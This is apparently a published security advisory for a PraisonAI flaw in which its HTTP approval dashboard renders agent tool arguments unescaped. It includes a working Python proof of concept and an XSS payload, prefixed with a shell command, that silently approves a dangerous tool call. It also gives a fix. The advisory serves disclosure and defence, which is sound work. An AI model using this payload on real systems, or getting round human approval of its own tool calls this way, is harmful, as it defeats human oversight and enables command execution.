CVE-2026-56840: PraisonAI: HTTPApproval dashboard renders tool arguments as raw HTML, allowing approval-page XSS to approve dangerous tools
HTTPApproval dashboard renders tool arguments as raw HTML, allowing approval-page XSS to approve dangerous tools Summary praisonai.bots.HTTPApproval renders pending tool approval arguments directly into the approval dashboard HTML. An attacker-controlled tool argument can inject JavaScript into that page.
Published Jun 18, 2026 · Updated Jul 20, 2026
Affected packages
praisonai
- Ecosystem
- PyPI
- Affected
- >= 4.5.2, <= 4.6.58
- Fixed in
- 4.6.59
- Check
pip show praisonai
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
HTTPApproval dashboard renders tool arguments as raw HTML, allowing approval-page XSS to approve dangerous tools
Summary
praisonai.bots.HTTPApproval renders pending tool approval arguments directly into the approval dashboard HTML. An attacker-controlled tool argument can inject JavaScript into that page. When a human opens the approval URL to inspect the risky tool request, the script runs in the dashboard origin and can POST to the same request's /approve/{request_id}/decide endpoint, causing HTTPApproval to return approved=True.
The local PoV uses a harmless touch /tmp/prai010 # command prefix and stops at the approval decision. It does not execute the command.
Affected Versions
Proposed affected range: >= 4.5.2, <= 4.6.57.
Validated affected:
- current head
2f9677abb2ea68eab864ee8b6a828fd0141612e1(v4.6.57-4-g2f9677ab) v4.5.2v4.5.3v4.5.124v4.5.126v4.5.128v4.6.10v4.6.56v4.6.57
v4.5.0 and v4.5.1 do not contain the HTTPApproval backend.
Impact
An attacker who can influence an agent task or prompt enough to produce a dangerous tool call can embed a short XSS payload in the tool argument. When the human approver opens the HTTP approval page, the script can approve the pending dangerous tool call before the human explicitly clicks Approve or Deny.
This bypasses the human-in-the-loop approval boundary for dangerous tools such as execute_command, execute_code, delete_file, or other tools gated through HTTPApproval. If the agent continues after approval, the dangerous tool runs with the privileges of the PraisonAI process.
Why This Is Not Intended Behavior
PraisonAI documentation describes approval as a safety control that pauses an agent before risky tools and asks a human or configured channel to allow or deny execution. The documentation also lists http as a supported non-console approval backend.
Opening the approval page to inspect a risky command should not itself approve the command. The current behavior allows attacker-controlled tool arguments to execute script in the approval page and submit the approval action.
This is distinct from the previously published stored-XSS advisory for agent output rendering. That advisory concerned src/praisonai/api.py and missing nh3 sanitization in older versions. This report concerns the HTTPApproval dashboard sink and remains present in current head.
Root Cause
In src/praisonai/praisonai/bots/_http_approval.py, _build_html() builds the approval page with raw f-string interpolation:
- argument keys and values are appended to
args_htmlwithout HTML escaping; tool_name,risk_level, andagent_nameare also interpolated into the returned HTML;- the generated page contains same-origin JavaScript that posts to
/approve/{request_id}/decide.
_handle_decide() accepts JSON from that endpoint and marks the pending request approved when decision == "approve".
Because the approval page is generated from the pending request's unescaped tool arguments, an injected script can call the same endpoint that the legitimate Approve button uses. The request id is unguessable, but the script runs inside the loaded approval page and can derive the endpoint from location.pathname.
Reproduction
The PoV is local-only and does not execute the dangerous tool command. Run it from a PraisonAI checkout or environment where praisonai and praisonaiagents import from the candidate version.
import asyncio
import json
import socket
import aiohttp
from praisonai.bots._http_approval import HTTPApproval
from praisonaiagents.approval.protocols import ApprovalRequest
def free_port():
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.bind(("127.0.0.1", 0))
return sock.getsockname()[1]
payload = (
"touch /tmp/prai010 # "
"<script>"
"fetch(location.pathname+'/decide',{"
"method:'POST',headers:{'Content-Type':'application/json'},"
"body:'{\"decision\":\"approve\"}'})"
"</script>"
)
async def main():
backend = HTTPApproval(host="127.0.0.1", port=free_port(), timeout=5)
request = ApprovalRequest(
tool_name="execute_command",
arguments={"command": payload},
risk_level="critical",
agent_name="pov-agent",
)
task = asyncio.create_task(backend.request_approval(request))
request_id = ""
for _ in range(100):
if backend._pending:
request_id = next(iter(backend._pending))
break
await asyncio.sleep(0.05)
assert request_id
url = f"http://127.0.0.1:{backend._port}/approve/{request_id}"
async with aiohttp.ClientSession() as session:
async with session.get(url) as response:
page = await response.text()
raw_script_present = "<script>fetch(location.pathname+'/decide'" in page
script_not_html_escaped = "<script" not in page
payload_uses_same_origin_decide_endpoint = "fetch(location.pathname+'/decide'" in page
payload_not_truncated = "..." not in page[
page.find("<script>"):page.find("<script>") + len(payload) + 10
]
assert raw_script_present
assert script_not_html_escaped
assert payload_not_truncated
# Same request the injected same-origin script submits.
async with session.post(f"{url}/decide", json={"decision": "approve"}) as response:
post_body = await response.text()
decision = await task
await backend.shutdown()
print(json.dumps({
"payload_len": len(payload),
"payload_shell_prefix": "touch /tmp/prai010",
"raw_script_present": raw_script_present,
"script_not_html_escaped": script_not_html_escaped,
"payload_uses_same_origin_decide_endpoint": payload_uses_same_origin_decide_endpoint,
"payload_not_truncated": payload_not_truncated,
"post_body": post_body,
"decision_approved": decision.approved,
"decision_reason": decision.reason,
"vulnerable": bool(
raw_script_present
and script_not_html_escaped
and payload_uses_same_origin_decide_endpoint
and payload_not_truncated
and decision.approved
),
}, indent=2))
asyncio.run(main())Expected affected output includes:
{
"payload_len": 175,
"payload_shell_prefix": "touch /tmp/prai010",
"raw_script_present": true,
"script_not_html_escaped": true,
"payload_uses_same_origin_decide_endpoint": true,
"payload_not_truncated": true,
"decision_approved": true,
"vulnerable": true
}The relevant injected argument shape is:
touch /tmp/prai010 # <script>fetch(location.pathname+'/decide',{method:'POST',headers:{'Content-Type':'application/json'},body:'{"decision":"approve"}'})</script>The shell prefix demonstrates that the same argument can be executable shell syntax after approval; the PoV stops before executing the tool.
Suggested Fix
Escape every untrusted value before inserting it into the approval HTML:
tool_namerisk_levelagent_name- every argument key
- every argument value
For example, use html.escape(str(value), quote=True) or a template engine that auto-escapes by default. Add regression tests that include <script>... in tool arguments and assert that the rendered page contains escaped text, not a script element.
Minimal patch shape:
from html import escape
def h(value: object) -> str:
return escape(str(value), quote=True)
tool_name = h(info.get("tool_name", "unknown"))
risk_level = h(info.get("risk_level", "unknown"))
agent_name = h(info.get("agent_name", ""))
args_html = ""
for k, v in arguments.items():
val_str = str(v)
if len(val_str) > 200:
val_str = val_str[:197] + "..."
args_html += (
f"<tr><td>{h(k)}</td>"
f"<td>{h(val_str)}</td></tr>"
)Additional hardening:
- avoid inline JavaScript and add a restrictive Content Security Policy;
- keep the request id as an unguessable capability, but do not rely on it as an XSS defense;
- consider requiring a per-request decision token outside attacker-controlled rendered argument fields.
Credited to rexpository.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More PyPI vulnerabilities
All PyPI entriesCVE-2026-61438
PraisonAI vulnerable to Remote Code Execution via Broken AST Sandbox
high7.3Oct 29, 2026CVE-2026-60085
PraisonAI: SecurityPolicy command/path/import restrictions are completely unenforced by the default SubprocessSandbox backend
high8.7Oct 8, 2026CVE-2026-60086
PraisonAI: Prompt-injection defense blocks only when 3+ detector families fire simultaneously; realistic single-vector injections pass through unblocked
medium5.3Oct 8, 2026CVE-2026-60088
PraisonAI: Project custom command templates can read outside-workspace files into model prompts
medium5.5Oct 8, 2026CVE-2026-60090
PraisonAI: PGVector and Cassandra knowledge stores interpolate vector dimensions into DDL
mediumOct 8, 2026CVE-2026-60091
PraisonAI: Jobs API is unauthenticated by default and allows attacker-controlled webhook SSRF
high7.2Oct 8, 2026
